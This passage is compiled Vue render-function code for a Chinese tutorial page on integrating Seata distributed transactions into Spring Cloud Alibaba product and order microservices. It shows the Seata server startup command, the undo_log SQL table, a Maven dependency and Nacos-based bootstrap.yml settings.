("span",{staticClass:"line-number"},[s._v("30")]),a("br"),a("span",{staticClass:"line-number"},[s._v("31")]),a("br"),a("span",{staticClass:"line-number"},[s._v("32")]),a("br"),a("span",{staticClass:"line-number"},[s._v("33")]),a("br"),a("span",{staticClass:"line-number"},[s._v("34")]),a("br"),a("span",{staticClass:"line-number"},[s._v("35")]),a("br"),a("span",{staticClass:"line-number"},[s._v("36")]),a("br"),a("span",{staticClass:"line-number"},[s._v("37")]),a("br"),a("span",{staticClass:"line-number"},[s._v("38")]),a("br"),a("span",{staticClass:"line-number"},[s._v("39")]),a("br"),a("span",{staticClass:"line-number"},[s._v("40")]),a("br"),a("span",{staticClass:"line-number"},[s._v("41")]),a("br"),a("span",{staticClass:"line-number"},[s._v("42")]),a("br"),a("span",{staticClass:"line-number"},[s._v("43")]),a("br"),a("span",{staticClass:"line-number"},[s._v("44")]),a("br"),a("span",{staticClass:"line-number"},[s._v("45")]),a("br"),a("span",{staticClass:"line-number"},[s._v("46")]),a("br"),a("span",{staticClass:"line-number"},[s._v("47")]),a("br"),a("span",{staticClass:"line-number"},[s._v("48")]),a("br"),a("span",{staticClass:"line-number"},[s._v("49")]),a("br"),a("span",{staticClass:"line-number"},[s._v("50")]),a("br"),a("span",{staticClass:"line-number"},[s._v("51")]),a("br"),a("span",{staticClass:"line-number"},[s._v("52")]),a("br"),a("span",{staticClass:"line-number"},[s._v("53")]),a("br"),a("span",{staticClass:"line-number"},[s._v("54")]),a("br"),a("span",{staticClass:"line-number"},[s._v("55")]),a("br"),a("span",{staticClass:"line-number"},[s._v("56")]),a("br")])]),a("p",[s._v("这里,也将mysql.sql文件放在了项目的"),a("code",[s._v("doc/nacos/config/chapter25")]),s._v("目录下。")]),s._v(" "),a("p",[s._v("(10)启动Seata服务,进入在命令行进入Seata安装文件的"),a("code",[s._v("seata/seata-server-1.4.2/bin")]),s._v("目录,执行如下命令。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("seata-server.bat "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-p")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8091")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-h")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("127.0")]),s._v(".0.1 "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-m")]),s._v(" db\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("可以看到,在启动Seata的命令行输出了如下信息。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("i.s.core.rpc.netty.NettyServerBootstrap "),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),s._v(" Server started, listen port: "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8091")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("说明Seata已经启动成功。")]),s._v(" "),a("p",[s._v("至此,Seata的基础环境搭建完毕。")]),s._v(" "),a("h3",{attrs:{id:"项目整合seata"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#项目整合seata"}},[s._v("#")]),s._v(" 项目整合Seata")]),s._v(" "),a("p",[s._v("在我们开发的微服务程序中,订单微服务下单成功后会调用库存微服务扣减商品的库存信息,而用户微服务只提供了查询用户信息的接口。这里,我们在商品微服务和订单微服务中整合Seata。")]),s._v(" "),a("h3",{attrs:{id:"导入unlog表"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#导入unlog表"}},[s._v("#")]),s._v(" 导入unlog表")]),s._v(" "),a("p",[s._v("我们使用的是Seata的AT模式,需要我们在涉及到使用Seata解决分布式事务问题的每个业务库中创建一个Seata的undo_log数据表,Seata中本身提供了创建数据表的SQL文件,这些SQL文件位于Seata源码包下的"),a("code",[s._v("seata-1.4.2/script/client/at/db")]),s._v("目录中,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-011","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-011.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("这里,我们使用mysql.sql脚本。mysql.sql脚本的内容如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("-- for AT mode you must to init this sql for you business database. the seata server not need it.")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("CREATE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("TABLE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("IF")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("EXISTS")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("undo_log"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("branch_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("BIGINT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("COMMENT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'branch transaction id'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("xid"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("128")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("COMMENT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'global transaction id'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("context"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("128")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("COMMENT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'undo_log context,such as serialization'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("rollback_info"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("LONGBLOB")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("COMMENT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'rollback info'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("log_status"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("INT")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("11")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("COMMENT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'0:normal status,1:defense status'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("log_created"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DATETIME")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("6")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("COMMENT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'create datetime'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("log_modified"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DATETIME")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("6")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("COMMENT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'modify datetime'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("UNIQUE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("KEY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("ux_undo_log"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("xid"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("branch_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("ENGINE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("InnoDB")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("AUTO_INCREMENT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DEFAULT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("CHARSET")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" utf8 "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("COMMENT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'AT transaction mode undo table'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br")])]),a("p",[s._v("注意,这里要在shop数据库中执行mysql.sql脚本,同样的,我会将这里的mysql.sql文件放到项目的"),a("code",[s._v("doc/nacos/config/chapter25")]),s._v("目录下,并重命名为mysql_client.sql。")]),s._v(" "),a("h3",{attrs:{id:"商品微服务整合seata"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#商品微服务整合seata"}},[s._v("#")]),s._v(" 商品微服务整合Seata")]),s._v(" "),a("p",[s._v("(1)在商品微服务shop-product的pom.xml文件中引入Seata依赖,如下所示。")]),s._v(" "),a("div",{staticClass:"language-xml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-xml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("com.alibaba.cloud"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("spring-cloud-starter-alibaba-seata"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br")])]),a("p",[s._v("(2)修改商品微服务shop-product的bootstrap.yml,修改后的文件如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("product\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("file-extension")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" product_group\n shared"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("configs"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("data_id")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("all.yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" all_group\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("refresh")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("discovery")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("alibaba")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("seata")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("tx-service-group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" $"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("spring.application.name"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("tx_group\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" dev\n\n"),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("seata")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application-id")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" $"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("spring.application.name"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("service")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("vgroup-mapping")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-product-tx_group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" default\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("registry")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" $"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("spring.cloud.nacos.discovery.server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("addr"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("username")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" nacos\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("password")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" nacos\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" SEATA_GROUP\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("namespace")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" seata_namespace_001\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" seata"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("server\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("type")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" nacos\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" $"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("spring.cloud.nacos.discovery.server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("addr"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("username")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" nacos\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("password")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" nacos\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" SEATA_GROUP\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("namespace")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" seata_namespace_001\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br"),a("span",{staticClass:"line-number"},[s._v("25")]),a("br"),a("span",{staticClass:"line-number"},[s._v("26")]),a("br"),a("span",{staticClass:"line-number"},[s._v("27")]),a("br"),a("span",{staticClass:"line-number"},[s._v("28")]),a("br"),a("span",{staticClass:"line-number"},[s._v("29")]),a("br"),a("span",{staticClass:"line-number"},[s._v("30")]),a("br"),a("span",{staticClass:"line-number"},[s._v("31")]),a("br"),a("span",{staticClass:"line-number"},[s._v("32")]),a("br"),a("span",{staticClass:"line-number"},[s._v("33")]),a("br"),a("span",{staticClass:"line-number"},[s._v("34")]),a("br"),a("span",{staticClass:"line-number"},[s._v("35")]),a("br"),a("span",{staticClass:"line-number"},[s._v("36")]),a("br"),a("span",{staticClass:"line-number"},[s._v("37")]),a("br"),a("span",{staticClass:"line-number"},[s._v("38")]),a("br"),a("span",{staticClass:"line-number"},[s._v("39")]),a("br"),a("span",{staticClass:"line-number"},[s._v("40")]),a("br"),a("span",{staticClass:"line-number"},[s._v("41")]),a("br"),a("span",{staticClass:"line-number"},[s._v("42")]),a("br"),a("span",{staticClass:"line-number"},[s._v("43")]),a("br"),a("span",{staticClass:"line-number"},[s._v("44")]),a("br"),a("span",{staticClass:"line-number"},[s._v("45")]),a("br")])]),a("p",[s._v("其中,配置的Nacos的namespace与group与"),a("code",[s._v("registry.conf")]),s._v("文件中的一致。")]),s._v(" "),a("h3",{attrs:{id:"订单微服务整合seata"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#订单微服务整合seata"}},[s._v("#")]),s._v(" 订单微服务整合Seata")]),s._v(" "),a("p",[s._v("(1)在订单微服务shop-product的pom.xml文件中引入Seata依赖,如下所示。")]),s._v(" "),a("div",{staticClass:"language-xml 